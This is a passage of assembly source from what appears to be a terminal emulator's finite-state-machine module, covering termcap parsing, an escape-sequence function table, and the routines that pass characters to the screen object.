CopyArgDesc endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% InitArgDesc %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: initialize the argument descriptor CALLED BY: SetExternalFunc PASS: es - dgroup RETURN: es:[initAD] - set TRUE DESTROYED: cx, di PSEUDO CODE/STRATEGY: Get current AD Set all registers to be not used set all arguments to be not adjusted KNOWN BUGS/SIDE EFFECTS/IDEAS: Should I use a 'stos' in the IAD_loop to make it faster REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 09/19/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ InitArgDesc proc near mov di, offset argumentDesc ;get ptr to structure mov cx, MAX_EMULATION_ARG IAD_loop: mov {byte} es:[di], ARG_NOT_USED ;flag register not used inc di mov {byte} es:[di], NO_ADJUST ;set argument adjust value inc di loop IAD_loop IAD_ret: mov es:[initAD], TRUE ret InitArgDesc endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% UpdateACSize %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Updates the number of action descriptors CALLED BY: SetExternalFunction, HandleParameter PASS: bx - FSM machine token es - dgroup dl - function type (INTERNAL, EXTERNAL) ds - FSM segment RETURN: ds - FSM segment DESTROYED: ax, cx PSEUDO CODE/STRATEGY: if not enough room for another AD realloc the action chunk update the max AD count update the size info for the descriptor just allocated either function or action descriptor. The program will always assume that es:[curACoffset] reflects ptr to space for action/function descriptor Wheneve the action chunk is updated, we check to ensure that there's room for another action/function descriptor. KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 09/18/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ UpdateACSize proc near push si, bp mov ds, bx ;get FSM segment clr si mov cx, es:[curACoffset] ;get current size of Action chunk cmp cx, es:[maxACsize] ;is there room for another AD jl CrAD_ok mov ax, ACTION_DESC_SIZE ;calculate size of AD table shl ax, 1 add ax, EXPAND_ACTION_SIZE ;increase table by this much add cx, ax mov ax, ds:[si].FSM_actionHandle ;get the action handle call LMemReAlloc ; resize this chunk mov es:[fsmBlockSeg], ds ;LMem heap may have moved mov bx, ds ; so update copies add es:[maxACsize], EXPAND_ACTION_SIZE ;update the new max size CrAD_ok: cmp dl, EXTERNAL je CrAD_ext mov cx, FUNC_DESC_SIZE ;internal function jmp short CrAD_ret CrAD_ext: mov cx, ACTION_DESC_SIZE ;external function CrAD_ret: add es:[curACoffset], cx ;point to next desc in chunk mov bp, ds:[si].FSM_actionHandle mov bp, ds:[bp] ;dereference block handle add bp, es:[curACoffset] ;offset to current chunk mov ds:[bp].FD_internalFunc, NO_FUNC;default no internal funcs mov ds:[bp].FD_externalFunc, NO_FUNC;default no external funcs pop si, bp ret UpdateACSize endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SetInternalFunc %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set the action word to point to an internal func CALLED BY: HandleEscape, HandleParam PASS: bx - FSM machine token RETURN: --- DESTROYED: --- PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 09/15/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SetInternalFunc proc near ; ; *** STUB *** ; ret SetInternalFunc endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SetCaseFunc %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set function descriptor to handle a CASE argument CALLED BY: HandleEscape PASS: bx - FSM machine token es - dgroup ds:si - pointing into termcap buffer al - token just read ('d') RETURN: --- DESTROYED: --- PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 09/20/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SetCaseFunc proc near ; ; *** STUB *** ; ret SetCaseFunc endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SkipWhiteSpace %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: advance pointer past all the non printable chars CALLED BY: FSMAugmentDesc PASS: es - dgroup ds:si - white space to skip RETURN: ds:si - points to first non Printable char DESTROYED: nothing PSEUDO CODE/STRATEGY: Everything below a space is considered unprintable. KNOWN BUGS/SIDE EFFECTS/IDEAS: May not have to update [fileHead] REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 09/15/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SkipWhiteSpace proc near SWS_loop: cmp {byte} ds:[si], CHAR_SPACE ;if char have value > space jg SWS_ret ;assume its printable inc si jmp short SWS_loop SWS_ret: ret SkipWhiteSpace endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GetFunction %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get function to call from termcap buffer CALLED BY: SetExternalFunc PASS: bx - FSM machine token es - dgroup ds - FSM segment ds:bp - top of our current action descriptor es:[termSeg] - segment of terminal buffer termSeg:si - points at function specifier RETURN: cx - function to call (method #) ds:si - points to beginning of next line DESTROYED: --- PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: ** should use string search routine to match funtion names REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 09/15/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GetFunction proc near push ds mov ds, es:[termSeg] push bx ;save FSM token CallMod ConvertDecNumber ;ds:si -> beginning of function pop bx cmp ax, ERROR_FLAG ;get function index to call mov cx, 0 ; hack - in case of error, ; use bell function? ; (preserve flags) ; (brianc 10/1/90) je GF_exit shl ax, 1 ;calculate offset into table cmp ax, FSM_FUNCTION_TABLE_SIZE ; if non-existent func, WARNING_AE TERM_FUNCTION_NOT_SUPPORTED jae GF_exit ; bail mov di, offset FSMFunctionTable ;get the function to call add di, ax ;offset into the table GF_eoln: inc si ;check for eoln cmp {byte} ds:[si], CHAR_NL je GF_ret jmp short GF_eoln GF_ret: inc si ;advance file ptr pass newline mov es:[fileHead], si ;es:si -> start of next sequence mov cx, cs:[di] ; return method number GF_exit: pop ds ret GetFunction endp ; ; This table is important in figuring what index escape codes map to. ; Beware of the conditional compilation messing up with number ; seqeunce. ; FSMFunctionTable label word dw MSG_SCR_SOUND_BELL ;func 0 dw MSG_SCR_CURSOR_LEFT ;func 1 dw MSG_SCR_TAB ;func 2 dw MSG_SCR_CURSOR_DOWN_OR_SCROLL ;func 3 dw MSG_SCR_CR ;func 4 dw MSG_SCR_SCROLL_DOWN ;func 5 dw MSG_SCR_UP_ARROW ;func 6 dw MSG_SCR_DOWN_ARROW ;func 7 dw MSG_SCR_RIGHT_ARROW ;func 8 dw MSG_SCR_LEFT_ARROW ;func 9 dw MSG_SCR_FUNC_1 ;func 10 dw MSG_SCR_FUNC_2 ;func 11 dw MSG_SCR_FUNC_3 ;func 12 dw MSG_SCR_FUNC_4 ;func 13 dw MSG_SCR_CLEAR_HOME_CURSOR ;func 14 dw MSG_SCR_APPLICATION_KEYPAD ;func 15 dw MSG_SCR_NUMERIC_KEYPAD ;func 16 dw MSG_SCR_CURSOR_UP_UNCONSTRAINED ;func 17 dw MSG_SCR_CURSOR_RIGHT ;func 18 dw MSG_SCR_HOME_CURSOR ;func 19 dw MSG_SCR_CLEAR_TO_END_DISP ;func 20 dw MSG_SCR_CLEAR_TO_END_LINE ;func 21 dw MSG_SCR_NORMAL_MODE ;func 22 dw MSG_SCR_SAVE_CURSOR ;func 23 dw MSG_SCR_RESTORE_CURSOR ;func 24 dw MSG_SCR_CHANGE_SCROLLREG ;func 25 dw MSG_SCR_REL_CURSOR_MOVE ;func 26 dw MSG_SCR_BOLD_ON ;func 27 dw MSG_SCR_UNDERSCORE_ON ;func 28 dw MSG_SCR_BLINK_ON ;func 29 dw MSG_SCR_REV_ON ;func 30 dw MSG_SCR_INS_LINE ;func 31 dw MSG_SCR_BACK_TAB ;func 32 dw MSG_SCR_DEL_LINE ;func 33 dw MSG_SCR_DEL_CHAR ;func 34 dw MSG_SCR_INS_CHAR ;func 35 dw MSG_SCR_GO_STATUS_COL ;func 36 dw MSG_SCR_ENTER_INS_MODE ;func 37 dw MSG_SCR_EXIT_INS_MODE ;func 38 dw MSG_SCR_SCROLL_UP ;func 39 dw MSG_SCR_TERM_INIT ;func 40 dw MSG_SCR_SANE_RESET ;func 41 dw MSG_SCR_GRAPHICS_ON ;func 42 dw MSG_SCR_SET_ROW ;func 43 dw MSG_SCR_SET_COL ;func 44 dw MSG_SCR_UNDERSCORE_OFF ;func 45 dw MSG_SCR_REV_OFF ;func 46 dw MSG_SCR_SET_TAB ;func 47 dw MSG_SCR_CLEAR_TAB ;func 48 dw MSG_SCR_VISUAL_BELL ;func 49 dw MSG_SCR_CURSOR_DOWN_OR_SCROLL_N ;func 50 dw MSG_SCR_CURSOR_LEFT_N ;func 51 dw MSG_SCR_CURSOR_RIGHT_N ;func 52 dw MSG_SCR_CURSOR_UP_N_UNCONSTRAINED ;func 53 dw MSG_SCR_CURSOR_OFF ;func 54 dw MSG_SCR_CURSOR_ON ;func 55 dw MSG_SCR_IGNORE_ESC_SEQ ;func 56 dw MSG_SCR_RESPOND_WHAT_ARE_YOU ;func 57 dw MSG_SCR_RESET_SCROLLREG ;func 58 dw MSG_SCR_RENEW_GRAPHICS_ON ;func 59 dw MSG_SCR_RENEW_SCROLL_REG_BOTTOM ;func 60 if _CHAR_SET dw MSG_SCR_SELECT_G0 ;func 61 dw MSG_SCR_SELECT_G1 ;func 62 dw MSG_SCR_G0_SELECT_USASCII ;func 63 dw MSG_SCR_G0_SELECT_GRAPHICS ;func 64 dw MSG_SCR_G1_SELECT_USASCII ;func 65 dw MSG_SCR_G1_SELECT_GRAPHICS ;func 66 else dw MSG_SCR_IGNORE_ESC_SEQ ;func 61 dw MSG_SCR_IGNORE_ESC_SEQ ;func 62 dw MSG_SCR_IGNORE_ESC_SEQ ;func 63 dw MSG_SCR_IGNORE_ESC_SEQ ;func 64 dw MSG_SCR_IGNORE_ESC_SEQ ;func 65 dw MSG_SCR_IGNORE_ESC_SEQ ;func 66 endif dw MSG_SCR_RESPOND_CURSOR_POSITION ;func 67 dw MSG_SCR_RESPOND_STATUS ;func 68 dw MSG_SCR_CLEAR_TO_BEG_LINE ;func 69 dw MSG_SCR_CLEAR_TO_BEG_DISP ;func 70 dw MSG_SCR_CLEAR_LINE ;func 71 dw MSG_SCR_CURSOR_DOWN ;func 72 dw MSG_SCR_CURSOR_UP_OR_SCROLL ;func 73 dw MSG_SCR_CURSOR_DOWN_N ;func 74 dw MSG_SCR_CURSOR_UP ;func 75 dw MSG_SCR_CURSOR_UP_N ;func 76 dw MSG_SCR_NEXT_LINE ;func 77 dw MSG_SCR_RESET_MODE ;func 78 dw MSG_SCR_SET_MODE ;func 79 dw MSG_SCR_LF ;func 80 FSM_FUNCTION_TABLE_SIZE equ ($-(offset FSMFunctionTable)) COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ConvertOctalNumber %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Converts octal ascii number to a hex value CALLED BY: GetFunction PASS: ds:si - beginning of string RETURN: dl - binary value of octal number si - pointing to end of octal number DESTROYED: cx PSEUDO CODE/STRATEGY: For each character get value curChar - "0" multiply current number by 10 add in value KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 01/30/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ConvOctalNumber proc near mov cl, 2 clr dh mov dl, ds:[si] ;get first octal number sub dl, '0' ;convert to binary value HO_oct: inc si mov al, ds:[si] ;get number sub al, '0' shl dl, 1 ;shift over octal digit shl dl, 1 ; shl dl, 1 ; add dl, al loop HO_oct cmp dl, 128 ;termcap entry said it send jne HO_ret ;\200, but actually sent NULLs mov dl, CHAR_NULL HO_ret: ret ConvOctalNumber endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FSMInit %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: initialize the FSM variables CALLED BY: FSMCreate PASS: ax - FSM segment es - dgroup RETURN: --- DESTROYED: cx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 09/20/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FSMInit proc near mov cl, FALSE mov es:[initAD], cl ;action descriptor uninitialized mov es:[inNumFlag], cl ;not in an internal routine mov es:[secondState], cl ;second state flag is reset mov es:[inParse], cl ;not in parsed state clr cx mov es:[curACoffset], cx ;clear ptr into action chunk mov es:[argNum], cx ;no arguments stored mov es:[inputBase], DECIMAL ret FSMInit endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CheckFSMState %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: check the fsm state CALLED BY: FSMParseString, SearchCurTable PASS: al - current token es - dgroup ds:si - points at token RETURN: --- DESTROYED: cx PSEUDO CODE/STRATEGY: if we were in an internal function (like to calculate numbers then we want to turn off this flag at the next non-digit character). So we'll do that here. Check if we were in one of our internal routines update argument index accordingly KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 09/26/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CheckFSMState proc near cmp es:[inNumFlag], FALSE ;were we in an internal func? je CS_ret ;nope, mov cl, al ;get token to check push ax, bx ;save char and FSM tokens CallMod CheckIfNum ;is this token numeric? pop ax, bx jnc CS_ret ;yes, pass to internal func mov es:[inNumFlag], FALSE ;no, reset flag cmp es:[argNum], MAX_EMULATION_ARG ;don't increase arg when max jae CS_ret ; is reached inc es:[argNum] ;advance argument index CS_ret: ret CheckFSMState endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% StoreUnParsedChars %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Copy unrecognized chars into call back buffer CALLED BY: FSMParseString PASS: bx - FSM machine token es - dgroup ds - char buffer segment (dgroup) es:[unParseNum] - number of chars to copy es:[unParseStart] - ptr to where to copy from es:[unParseBufHead] - ptr to where to copy to RETURN: es:[unParseStart] - pts to first char after sequence es:[unParseBufHead] - pts to after the copied sequence DESTROYED: dx, di PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: Depend on fact that ds, es same cause buffer is in dgroup REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 09/29/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ StoreUnParsedChars proc near EC < call ECCheckDS_ES_dgroup > push ds, si, cx mov cx, es:[unParseNum] ;if no chars to copy exit jcxz SUPC_ret add es:[unParseBufNum], cx ;update # chars in buffer mov si, es:[unParseStart] ;ds:si-> ptr to src if EXTRA_EC ;============================================================= EC < call ECCheckDS_ES_dgroup > push ax, cx, si, di tst ds:[crapPtr] jnz haveStart wrapAround: mov ax, offset crapBuf mov ds:[crapPtr], ax haveStart: mov di, ds:[crapPtr] mov ax, di add ax, cx add ax, cx cmp ax, ((offset crapBuf) + AUX_BUF_SIZE) jae wrapAround rep movsw ; append to crapBuf mov ds:[crapPtr], di pop ax, cx, si, di endif ;===================================================================== mov di, es:[unParseBufHead] ;es:di-> ptr to dest cmp si, di jne SUPC_rep ;if src != dest do the copy add si, es:[unParseNum] ;else just skip the copy DBCS < add si, es:[unParseNum] ;char offset -> byte offset> add di, es:[unParseNum] ; and advance the ptrs DBCS < add di, es:[unParseNum] ;char offset -> byte offset> jmp short SUPC_update ; past the chars SUPC_rep: push es segmov es, ds, dx ;es->packet buffer SBCS < rep movsb ;copy the characters > DBCS < rep movsw ;copy the characters > pop es ;restore es to dgroup SUPC_update: mov es:[unParseStart], si ;update src pointer mov es:[unParseBufHead], di ;update dest pointer clr es:[unParseNum] ;clear num of chars to copy into buf SUPC_ret: pop ds, si, cx ret StoreUnParsedChars endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% UpdateScreen %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Pass the unrecognized chars to the screen object CALLED BY: FSMParseString, DoTokenFunction PASS: ds, es - dgroup ds:[fileHead] = offset to start of buffer in [auxBuf]. ds:[unParseBufNum] = number of characters to display THIS IS OLD: bx - FSM machine token al - current character token ds:bp - current action description RETURN: ds, es, ax, bx, cx = same ds:[fileHead] = advanced past buffer of chars ds:[unParseBufNum] = 0 DESTROYED: dx, bp, si, di PSEUDO CODE/STRATEGY: If no chars to print then don't call screen object KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 09/29/89 Initial version Eric 9/24/90 Since we are sending a method to another thread, it is a bad idea to pass a pointer into [auxBuf]. I will send on stack or in a block on the heap instead. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ UpdateScreen proc near EC < call ECCheckDS_ES_dgroup > push ds, ax, bx, cx ;decide whether to pass characters on the stack, or using a ;block on the global heap mov si, es:[fileHead] ;set ds:si = start of buffer of chars mov dx, es:[unParseBufNum] ;pass #chars in buffer ; ; Don't ever pass 0 characters on to the rest of the app, ; as there is lots of code that assumes a non-0 length ; buffer. ; tst dx jz finishUp cmp dx, MAX_NUM_CHARS_PASSED_ON_STACK jg passAsBlock passOnStack: ForceRef passOnStack ;we can pass this data on the stack (ObjMessage will transfer data ;to other thread's stack) ; ds:si = buffer of characters ; dx = size of buffer EC < mov ax, 0xED ;place a dummy char on stack > EC < push ax > ; ; For reason why these EC code of stack data ID is disabled, see ; comments in ScreenData::readFromStack ; if ERROR_CHECK push es:[fsmStackDataID] ;push ID # for this method inc es:[fsmStackDataID] ;prepare for next endif mov cx, dx ;set cx = number of characters DBCS < shl dx, 1 ;# chars -> # bytes > sub sp, dx ;make room for data on stack segmov es, ss, bx ;set es:di = destination on stack mov di, sp mov bp, sp ;must pass ss:bp = data on stack SBCS < rep movsb ;move data to stack > DBCS < rep movsw ;move data to stack > ;pass dx = number of bytes passed on stack ;pass cx = 0 (meaning data passed on stack) ;pass ss:bp = data on stack EC < tst cx > EC < ERROR_NZ TERM_ERROR > ; ; For reason why these EC code of stack data ID is disabled, see ; comments in ScreenData::readFromStack ; EC < add dx, 2 ;allow room for ID > ; ; Responder: scrDisplaySem semaphore is needed for prevent messing ; with local echo of international characters ; NRSP < mov ax, MSG_SCR_DATA > RSP < mov ax, MSG_SCR_DISPLAY_DATA_FROM_REMOTE > mov bx, ds:[termuiHandle] ;set ^lbx:si = screen object mov si, offset screenObject if _MODEM_STATUS mov di, mask MF_FORCE_QUEUE or mask MF_STACK else mov di, mask MF_CALL or mask MF_STACK endif call ObjMessage ;DOES NOT TRASH DX! add sp, dx ;clean up stack EC < pop ax ;make sure stack is lined up again> EC < cmp ax, 0xED > EC < ERROR_NE TERM_ERROR > segmov es, ds, ax ;restore es = ds (may have changed) jmp short finishUp passAsBlock: ;we have too many characters to pass on the stack; stuff them into ;a block on the global heap. This block will later be freed when ;the characters are read out of it. ; ds:si = buffer of characters ; dx = size of buffer (# chars) mov ax, dx ;pass ax = size of block to allocate DBCS < shl ax, 1 ;# chars -> # bytes > mov cx, ((mask HAF_LOCK or mask HAF_NO_ERR) shl 8) or \ mask HF_SWAPABLE ;allocate a swappable block and lock it call MemAlloc ;returns bx = handle, ax = segment mov es, ax ;set es:di = block clr di mov cx, dx ;cx = number of chars to copy SBCS < rep movsb ;move data to block > DBCS < rep movsw ;move data to block > call MemUnlock ;unlock block so can move on heap DBCS < shl dx, 1 ;# chars -> # bytes > ;pass dx = number of bytes passed in block ;pass cx = handle of block mov cx, bx ;set cx = handle NRSP < mov ax, MSG_SCR_DATA > RSP < mov ax, MSG_SCR_DISPLAY_DATA_FROM_REMOTE > mov bx, ds:[termuiHandle] ;set ^lbx:si = screen object mov si, offset screenObject if not _TELNET if _MODEM_STATUS ; ; When we send modem command, it can echo back. At this point, ; TermClass is waiting for serial thread's response. So, we don't ; want to block here and use FORCE_QUEUE instead. However, we don't ; want to have allocate so many data blocks and force queue before ; ScreenClass can consume. So, we want to keep it a call to ; ScreenData after connection. ; BitTest ds:[statusFlags], TSF_SERIAL_MAY_BLOCK jnz callDataDisplay mov di, mask MF_FORCE_QUEUE jmp sendDataDisplay callDataDisplay: endif ; _MODEM_STATUS endif ; !_TELNET mov di, mask MF_CALL sendDataDisplay:: call ObjMessage ;DOES NOT TRASH DX! segmov es, ds, ax ;restore es = ds (may have changed) finishUp: mov cx, es:[unParseBufNum] DBCS < shl cx, 1 ;char offset -> byte offset > add es:[fileHead], cx ;advance file ptr clr es:[unParseBufNum] pop ds, ax, bx, cx ret UpdateScreen endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FSMParseStrInit %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Init variables used for parsing strings CALLED BY: FSMParseDesc PASS: es - dgroup RETURN: --- DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 10/26/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FSMParseStrInit proc near uses ax, cx, di .enter mov es:[fsmLocked], FALSE ;initially fsm block not locked mov es:[inNumFlag], FALSE ;initially not parsing num clr es:[argNum] ; ; Initialize argArray to zeros ; CheckHack <DEFAULT_ARGARRAY_ARG_VALUE eq 0> clr al ; default arg value is zero mov cx, size argArray mov di, offset argArray rep stosb ; zero off argArray .leave ret FSMParseStrInit endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ReusePrevAD %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: reuse the previous action desc CALLED BY: SetExternalFunc PASS: es - dgroup RETURN: --- DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 11/16/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ReusePrevAD proc near sub es:[curACoffset], FUNC_DESC_SIZE ret ReusePrevAD endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ProcessFlags %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Check the termcap file for boolean flags to set CALLED BY: FSMAugmentDesc PASS: bx - FSM machine token bx:curHandle - handle to current state es - dgroup es:[fileEnd] - points to end of buffer es:[fileHead] - points to place to read from buffer ds - buffer segment RETURN: --- DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 01/29/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ProcessFlags proc near push bx ;save fsmToken call InitFlags call GetFlags pop bx ret ProcessFlags endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GetFlags %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Check the termcap file for boolean flags to set CALLED BY: FSMAugmentDesc PASS: bx - FSM machine token bx:curHandle - handle to current state es - dgroup es:[fileEnd] - points to end of buffer es:[fileHead] - points to place to read from buffer ds - buffer segment RETURN: --- DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 01/29/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GetFlags proc near cmp {byte}ds:[si], START_FLAG ;set boolean flags? jne exit ;nope getFlag: inc si ;point to start of flag mov ax, ds:[si] ;get flag to scan for xchg ah, al mov cx, FSMFlagTableEnd-FSMFlagTable;get length of table push es segmov es, cs ; es:di = flag table mov di, offset FSMFlagTable repne scasw ;scan for boolean flag pop es jz next ;flag not found ;di points one past found entry ; so get offset from start of ; table of entry sub di, offset FSMFlagTable+(FLAG_SIZE*2) ; start of table add di, offset FSMFlagMethodTable mov dh, TRUE mov ax, cs:[di] ; ax = method for flag found push si mov bx, es:[termuiHandle] CallScreenObj pop si next: add si, FLAG_SIZE cmp {byte}ds:[si], START_FLAG je getFlag getEOLN: cmp {byte} ds:[si], CHAR_LF je eoln inc si jmp short getEOLN eoln: inc si ;inc past eoln exit: ret GetFlags endp FSMFlagMethodTable label word dw MSG_SCR_SET_XN FSMFlagMethodTableEnd label word FSMFlagTable label word dw "xn" FSMFlagTableEnd label word COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% InitFlags %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Reset terminal flags in screen object CALLED BY: ProcessFlags PASS: es - dgroup RETURN: --- DESTROYED: PSEUDO CODE/STRATEGY: Set all the flags to FALSE KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 01/29/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ InitFlags proc near ;get size of table mov cx, (FSMFlagMethodTableEnd-FSMFlagMethodTable)/2 mov dh, FALSE ;set default value mov di, offset FSMFlagMethodTable resetNext: push si, di mov ax, cs:[di] ; ax = method mov bx, es:[termuiHandle] CallScreenObj pop si, di add di, 2 ;go to 